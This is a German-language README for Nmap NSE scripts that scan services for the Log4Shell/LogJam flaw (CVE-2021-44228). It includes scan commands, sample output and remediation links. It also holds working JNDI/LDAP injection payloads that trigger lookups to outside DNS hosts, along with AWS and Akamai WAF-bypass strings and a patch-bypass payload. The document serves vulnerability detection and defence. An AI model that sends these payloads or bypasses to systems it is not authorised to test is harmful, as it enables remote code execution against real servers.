
Nmap NSE-Skripte zur Überprüfung auf log4shell- oder LogJam-Sicherheitslücken (CVE-2021-44228)
Nmap NSE-Skripte zur Überprüfung auf Log4Shell- oder LogJam-Schwachstellen (CVE-2021-44228). Die NSE-Skripte überprüfen die gängigsten exponierten Dienste im Internet. Es handelt sich um ein einfaches Skript, bei dem Sie die Payload anpassen können.
Beachten Sie, dass die NSE-Skripte nur die Anfragen an die Dienste senden. Nmap meldet keine verwundbaren Hosts; Sie müssen die DNS-Protokolle überprüfen, um die Verwundbarkeit festzustellen. Wenn Sie keine Payload manuell angeben, verwenden die NSE-Skripte standardmäßig dnslog.cn. Das bedeutet, dass Anfragen von dnslog.cn gesehen werden.
Navigieren Sie in das Verzeichnis, in dem sich diese Skripte befinden, und führen Sie die folgenden Befehle aus (Nmap ruft dnslog.cn automatisch ab).
Unter Linux:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
Unter Windows:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
Neuer Patch-Bypass für v2.15.0 (CVE-2021-45046), danke an @marcioalm (Tweet):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
AWS-Bypass (danke an @11xuxx - Tweet):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Akamai-Bypass (danke an @ozgur_bbh - Tweet):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Windows-Beispiel (Danke an @ZedFuzz) – beachten Sie, wie man die Anführungszeichen escaped:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
Gehen Sie zu http://github.com/kost/logdns und holen Sie sich den DNS-Server. Besorgen Sie sich eine Domain und zeigen Sie auf den Ort, an dem Sie logdns installiert haben:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Gehen Sie zu http://dnslog.cn/ und holen Sie sich eine SubDomain. Ersetzen Sie Ihr xxxx durch Ihre SubDomain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Nehmen Sie Ihre Domain von Burp Collaborator und ersetzen Sie xxxx durch Ihre Domain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Nehmen Sie Ihr Token von CanaryToken und ersetzen Sie xxxx durch Ihre Domain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
Danke an @saintz666
dnslog.cn hat kurze Sitzungen (ca. eine halbe Stunde). Es sollte eine Möglichkeit geben, die Sitzung auf die Dauer des Scans zu verlängern. Außerdem erfolgt die DNS-Abfrage manchmal viel später als der Empfang der Anforderung. Es wurde berichtet, dass DNS-Anfragen Stunden nach der Anforderung eingingen. Als Workaround rufen die NSE-Skripte von Nmap nach jedem gescannten Host die Sitzung ab.
Daher ist es derzeit zur besten Sicherheit, eine benutzerdefinierte DNS-Domain mit einem Tool wie logdns zu verwenden: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
Liste der besten Behebungen und Workarounds.
Beste Lösung zum Schutz vor CVE-2021-44228: Aktualisierung auf log4j-2.16.0 oder neuer.
Beachten Sie, dass log4j-2.15.0-rc1 nicht mehr empfohlen wird, da neue Schwachstellen gefunden wurden. Daher sollten Sie auf log4j-2.16.0 oder neuer aktualisieren (danke @ruppde).
Beachten Sie auch, dass andere Empfehlungen wie das Setzen von log4j2.formatMsgNoLookups auf true vermieden werden sollten.
Es ist am besten, die Log4Shell-Schwachstelle zu identifizieren, indem man das lokale Dateisystem nach log4j-Artefakten durchsucht.
Diese NSE-Skripte sollten nur zur zusätzlichen Absicherung verwendet werden. NSEs helfen bei der Identifizierung verwundbarer Dienste, nicht der verwundbaren Anwendung. Sie können eine verwundbare Anwendung identifizieren, wenn sie jede Anfrage protokolliert (einschließlich root /), nicht wenn die Schwachstelle hinter einem Login verborgen ist. Dafür benötigen Sie einen Web-Scanner, der das gesamte Web crawlt.
Sie können einen bestimmten URI mit folgendem Beispiel überprüfen:
http-log4shell.url=/my/application/uri
Es überprüft über HTTP-Header und Cookies. Wenn Sie POST/GET-Formulare überprüfen müssen, sollten Sie http-spider-log4shell ausprobieren. Dennoch ist es am besten, einen Web-Scanner mit Unterstützung für log4j zu verwenden.
Beachten Sie auch, dass die DNS-Auflösung mit Präfix-Kombinationen in einem Ausdruck für log4j-core <= 2.7 anscheinend nicht unterstützt wird. Daher könnte das Testen mit etwas wie ${java:os} zu falsch Negativen führen.
Daher ist es besser, ein paar falsch Positive als Negative zu haben.
Allgemeine Referenzen und Links zur Schwachstelle
Reddit-Thread - Allgemeine Informationen zu Log4Shell
NCC log4shell - Betriebliche Informationen zur Schwachstelle (IOCs, Mitigation, Scannen, Software)
BlueTeam CheatSheet Log4Shell - Sicherheitshinweise/-Bulletins zu Log4Shell (CVE-2021-44228)
Software-Liste - cheat-sheet reference guide - Liste betroffener Software nach Herstellerreaktionen
Beachten Sie, dass Remote- und Online-Checks als zusätzliche Absicherung oder schneller Test nützlich sind. Für eine zusätzliche Absicherung wird empfohlen, lokale Dateien auf bekannte log4j-Signaturen zu scannen.
lo4shell.huntress.com - Online Log4Shell Vulnerability Tester
log4j yara - Yara-Regeln für die lokale Erkennung
identify-log4j-class-location.sh - Skript zur Identifizierung der von CVE-2021-44228 betroffenen Log4J-Klasse in einer Sammlung von ear/war/jar-Dateien
PoC-log4j-bypass-words - Ein Trick, um Wortblockaden zu umgehen
log4shell-detector - Detektor für Log4Shell-Ausnutzungsversuche
Log4Shell-IOCs - Eine Liste von IOC-Feeds und Bedrohungsberichten
log4j_rce_detection.md - Mit diesen Befehlen und Regeln können Sie nach Ausnutzungsversuchen suchen
log4j advisory - Apache Log4j Sicherheitslücken
log4j pull request and comments - Pull-Request, der den Fehler behebt, mit Kommentaren
Logout4Shell - Schnelle und schmutzige Alternative zur manuellen Patchen